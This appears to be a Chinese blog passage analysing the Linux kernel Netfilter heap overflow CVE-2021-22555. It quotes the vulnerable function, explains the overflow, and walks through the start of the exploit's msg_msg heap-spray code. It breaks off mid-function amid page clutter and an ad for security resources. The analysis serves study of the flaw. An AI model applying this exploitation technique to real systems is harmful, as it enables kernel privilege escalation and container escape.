关于内核堆溢出漏洞的分析

一、漏洞背景

CVE-2021-22555是一个存在了15年之久的内核堆溢出漏洞,它位于内核的Netfilter组件中,这个组件可以被用来实现防火墙、NAT等功能。

该漏洞在2006年由commit 9fa492cdc160cd27ce1046cb36f47d3b2b1efa21引入,并在2021年由commit b29c457a6511435960115c0f548c4360d5f4801d修复。

利用这个漏洞可以导致目标系统拒绝服务,甚至实现提权、容器逃逸并执行任意代码,危害等级极高。

二、漏洞分析

漏洞位于net/netfilter/x_tables.c的xt_compat_target_from_user函数:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
                unsigned int *size)
{
    const struct xt_target *target = t->u.kernel.target;
    struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
    int pad, off = xt_compat_target_offset(target);
    u_int16_t tsize = ct->u.user.target_size;
    char name[sizeof(t->u.user.name)];

    t = *dstptr;
    memcpy(t, ct, sizeof(*ct));
    if (target->compat_from_user)
        target->compat_from_user(t->data, ct->data);
    else
        memcpy(t->data, ct->data, tsize - sizeof(*ct));
    pad = XT_ALIGN(target->targetsize) - target->targetsize;
    if (pad > 0)
        memset(t->data + target->targetsize, 0, pad);

    tsize += off;
    t->u.user.target_size = tsize;
    strlcpy(name, target->name, sizeof(name));
    module_put(target->me);
    strncpy(t->u.user.name, name, sizeof(t->u.user.name));

    *size += off;
    *dstptr += tsize;
}

缓冲区溢出发生在memset(t->data + target->targetsize, 0, pad)这个语句,其本意是讲已经对齐的缓冲区多余的pad个字节清零。由于在分配内存的时候没有考虑到对齐,t->data之后只有target->targetsize个字节的有效存储空间,导致这里会发生pad个字节的溢出。通过选择不同的target,可以控制targetsize,进而控制溢出字节数pad。

要让内核执行到有漏洞的xt_compat_target_from_user函数,需要在用户空间调用setsockopt,并提供IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE作为第3个参数。这个操作需要用户进程拥有CAP_NET_ADMIN能力,而这个能力可以通过切换到新的用户+网络名称空间来获得。

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

三、EXP分析

EXP整体思路是利用堆溢出改写特殊链表的指针,进而实现UAF,最后改写特定内核结构体的函数指针来实现代码执行。

3.1 实现UAF

3.1.1 申请消息队列

通过msgget申请NUM_MSQIDS个消息队列,在EXP中NUM_MSQIDS等于4096。消息队列数目没有特殊要求,数目越多则EXP越稳定,原因后面会解释。这步是为后面的堆喷做准备。

for (int i = 0; i < NUM_MSQIDS; i++) {
  if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
    perror("[-] msgget");
    goto err_no_rmid;
  }
}

3.1.2 发送主要消息

通过msgsnd给每个消息队列都发送一个4096字节的消息,暂且称这些消息为主要消息,每个消息的内容是其所在消息队列的序号,分别为0-4095。注意这里所谓的4096字节并非指消息内容的长度,而是指消息传递到内核空间之后,内核为容纳该消息而开辟的堆缓冲区的大小,该缓冲区容纳了一个结构体msg_msg的实例和消息的实际内容,后面所提及的“消息长度”都是指内核缓冲区的长度。

printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
  memset(&msg_primary, 0, sizeof(msg_primary));
  *(int *)&msg_primary.mtext[0] = MSG_TAG;
  *(int *)&msg_primary.mtext[4] = i;
  if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
      0)
    goto err_rmid;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
  *(long *)msgp = msgtyp;
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
    perror("[-] msgsnd");
    return -1;
  }
  return 0;
}

这里所使用的msgsnd函数是最常用的堆喷手段之一,因为传递的消息内容会一成不变地复制到内核缓冲区中, 这样就可以达到控制内核缓冲区内容的目的。当消息传递到内核空间时,内核是通过alloc_msg函数来申请堆缓冲区的:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;

    // 取实际消息长度len和DATALEN_MSG中的最小值为第一个消息分片的长度
    alen = min(len, DATALEN_MSG);
    // 为首个消息分片开辟缓冲区,长度为结构体msg_msg加上alen
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;

    msg->next = NULL;
    msg->security = NULL;

    len -=
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值